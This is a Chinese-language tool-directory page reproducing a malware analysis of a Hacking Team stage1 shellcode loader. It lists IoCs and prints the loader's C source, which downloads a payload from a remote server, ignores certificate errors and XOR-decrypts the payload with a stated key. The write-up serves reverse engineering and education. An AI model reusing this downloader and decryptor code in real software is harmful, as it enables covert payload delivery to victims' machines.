Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Analysis-for-stage1-shellcode-loader-from-hacking- — Analysis for stage1 shellcode loader from hacking | Kitploit
工具/GitHubGitHub/spiralbl0ck/analysis-for-stage1-shellcode-loader-from-hacking-
Reverse EngineeringShellcodeMalware AnalysisBinary AnalysisLearning & Education
GitHubspiralbl0ck/analysis-for-stage1-shellcode-loader-from-hacking-

Analysis-for-stage1-shellcode-loader-from-hacking-

Analysis for stage1 shellcode loader from hacking

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
311年前尚未审核

来自 Hacking Team 的 stage1 shellcode 加载器分析

代码流程图

网络 IoC

https://172\[.]20\[.]20\[.]164

root@kitploit:~
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)

感染 IoC(释放的文件)

2s5s7k8w8b4i.dat

9z8o5d9l0p6c.dat

好,这到底是什么鬼。开搞。Loader.sln 或 loader.c

好的,启动过程,从启动到汇编代码?汇编里做了什么?pic(位置无关代码)shellcode。酷。这又有什么用?基本上会调用 Loader(0xdeadbeef)。为啥?不知道他们为什么选那个地址,但那个地址应该是解包后的代码。不管怎样,继续看调试器里发生了什么。更正:我们调用的是 Loader(eax),eax 是一个包含 .dat 文件的 IP 地址!

现在顺着流程进入 loader

现在我们暂时跳过 LoadVtable,因为它庞大而独特,等分析完其余功能后再回头处理。现在检查 DownloadAndDecryptTls。

DownloadAndDecryptTls

调试过程中注意到一个巧妙的地方。

如上图和以下代码片段所示

root@kitploit:~
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent, 
		lpLoaderConfig->strUrl, 
		&dwFileSize, 
		lpLoaderConfig->dwXorKey, 
		lpLoaderConfig->dwXorKey ? TRUE : FALSE); 

可以看到 lpLoaderConfig 是动态获取的。但从哪里获取?看起来它下载了或内部使用了那个 .dat 文件?而这个 .dat 文件又是什么。检查一下归档文件

我们看到另一个很酷的文件 shellcode_0x95d。在 HxD 中检查

你会看到一堆 API 调用和那个 URL。所以基本上这就是实际的 shellcode :) 太棒了,我们稍后回来分析它。

现在先记下 XOR 密钥是 0x6281f17f。接下来简要分析到关键点 ValidateCa。在此之前这个函数里没什么特别的事,最有趣的是对 InternetOpenA 的调用,它初始化了网络相关的 DLL。动态检查它应该能发现一个技巧。他们在 C 代码中这样实现:

hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

这比 API 少了一个参数。总之不多说了,看看代码里发生了什么。

在调试器中看起来是这样

我猜这里是因为使用了 INTERNET_OPEN_TYPE_PRECONFIG,所以它用了预配置的结构,而 lptable 里已经包含了 URL。

接下来是 ValidateCA

总之我们为什么要做这个?因为它简单地决定了是使用 https 还是 http

root@kitploit:~
DWORD dwHttpsFlag = 0;

if( ValidateCA(lpTable) )
	dwHttpsFlag = INTERNET_FLAG_SECURE;
else
	dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;

然后我们做一个简单的 GET 请求,并从 http 下载文件。这里没什么特别的。如果你想知道这段代码有没有什么特殊之处,我想没有,网上应该能找到如何实现它的示例。DownloadFile 函数如何下载文件?使用 InternetReadFileExA。

所以代码是这样的

root@kitploit:~
if( hOpen )
	{
		hConnect = lpTable->fpInternetConnect(hOpen,  serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );

		if( hConnect )
		{
			hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );

			if( hReq )
			{

			if( !ValidateCA(lpTable) )
			{
				DWORD dwFlags;
				dwBuffLen = sizeof(dwFlags);	
				lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
				dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
				lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
			}

				if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
				{
					dwBuffLen = 16;
					dwIdx = 0;

					lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
					*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);

					LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);			
					if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
					{
						if (bXored)
							lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
						else
							lpPayload = lpFileBuffer;
					}
					
				} // if( lpTable->fpHttpSendRequest )
			} // if( hReq )
		} // if( hConnect )
	} // if( hOpen )


	/* 关闭句柄 */
	if( hReq )
		lpTable->fpInternetCloseHandle(hReq);
	if( hConnect)
		lpTable->fpInternetCloseHandle(hConnect);
	if( hOpen)
		lpTable->fpInternetCloseHandle(hOpen);

	return lpPayload;

现在检查解密部分,看看是否会进入解密函数。根据我在实验中的假设,bXored 应该为真,所以我们应该进入解密函数。不幸的是,我们的假设错了,因为

root@kitploit:~
lpTable->fpHttpSendRequest 在 id 中被使用,而不是 bXored,而且由于服务器已宕机

我们无法向恶意服务器发送请求。现在我可以使用 frida 模拟一个服务器,但何必呢,因为我们已经有 payload 了。现在只需要反汇编它,判断是否加密。解密函数看起来像这样

root@kitploit:~
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;

for (UINT i=0; i<dwBuffLen/4; i++)
	lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
	lpB[i] ^= 0x41;

return lpBuffer;

这是一个双密钥 XOR,dwXorKey 是 0x6281f17f。

现在回到 Loader 函数,解决加载器的最后一部分。

下载工具